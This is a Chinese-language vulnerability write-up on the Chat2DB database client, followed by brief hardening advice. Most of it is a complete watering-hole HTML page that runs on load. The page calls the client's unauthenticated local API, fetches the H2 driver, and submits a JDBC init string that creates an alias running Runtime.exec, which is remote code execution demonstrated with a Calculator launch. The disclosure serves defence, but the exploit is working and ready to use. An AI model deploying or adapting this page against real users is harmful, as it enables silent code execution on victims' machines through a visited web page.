关于工具
Chat2DB 是一款由阿里巴巴开源免费的多数据库客户端工具,支持 windows、mac 本地安装,也支持服务器端部署,web网页访问。和传统的数据库客户端软件 Navicat、DBeaver 相比 Chat2DB 集成了 AIGC 的能力,能够将自然语言转换为 SQL, 也可以将 SQL 转换为自然语言,可以给出研发人员 SQL 的优化建议,极大的提升人员的效率,是 AI 时代数据库研发人员的利器, 不懂 SQL 的运营或业务也可以轻松使用快速查询业务数据、生成报表的能力。
杜绝废话
水坑页面:
`<html>``<title>chat2db</title>``<meta charset="utf-8" />`` ``<script type="text/javascript">`` ` `async function checkEnv() {` `const url = 'http://127.0.0.1:10824/api/jdbc/driver/list?dbType=H2';` `try {` `const response = await fetch(url);` `if (response.ok) {` `const data = await response.json();` `const driverConfigList = data.data.driverConfigList;` `if (Array.isArray(driverConfigList) && driverConfigList.length > 0) {` `return true;` `} else {` `return false;` `}` `} else {` `return false;` `}` `} catch (error) {` `console.error(error);` `return false;` `}` `}`` ` `async function download() {` `const url = 'http://127.0.0.1:10824/api/jdbc/driver/download?dbType=H2';` `try {` `const response = await fetch(url);` `if (response.ok) {` `const data = await response.json();` `const success = data.success;` `if (success) {` `return true;` `} else {` `return false;` `}` `} else {` `return false;` `}` `} catch (error) {` `console.error(error);` `return false;` `}` `}`` ` `function exploit() {` `var data = {` `ssh:` `{` `use: false, hostName: "", port: "22", userName: "", localPort: "", authenticationType: "password", password: ""` `},` `driverConfig:` `{` `jdbcDriverClass: "org.h2.Driver"` `},` `alias: "@localhost", environmentId: 1, host: "localhost", port: "9092", authenticationType: "1", user: "root", password: "123", database: "123", url: "jdbc:h2:mem:test;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;", extendInfo: [{ key: "init", value: "CREATE ALIAS IF NOT EXISTS vulcheck AS CONCAT('void e(String cmd) throws java.io.IOException{','java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}');CALL vulcheck('open -a Calculator');" }],` `connectionEnvType: "DAILY", type: "H2"` `}`` ` `var xhr = new XMLHttpRequest();` `xhr.open('POST', 'http://127.0.0.1:10824/api/connection/datasource/pre_connect', true);` `xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");` `xhr.send(JSON.stringify(data));` `}`` ` `checkEnv()` `.then(result => {` `console.log('[+] env:', result);` `exploit()` `})` `.catch(error => {` `console.error('[-] env:', error);` `download()` `.then(result => {` `console.log('[+] download:', result);` `exploit()` `})` `.catch(error => {` `console.error('[-] download:', error);` `});` `});``</script>``<body>` `<h1>chat2db</h1>``</body>``</html>`
安全建议
1.作为客户端,web服务不应该不做鉴权还监听0.0.0.0,同内网环境下等于裸奔。
2.作为客户端,web服务应当禁止跨域调用,或可配置选项,不然用户访问的任意页面均有可操作客户端所有API,保存的账密之类的东西就等于是别人的,造成隐患。
3.作为服务端,这里特指提供给团队公用(多人公用)的情况应该做权限隔离,做执行环境隔离,避免因jdbc驱动上传功能,以及驱动本身安全问题导致的一系列安全问题。如果这个工具整体的定位就只是给个人使用,非团队工具的话,我认为整体做好鉴权即可,jdbc安全问题可忽略。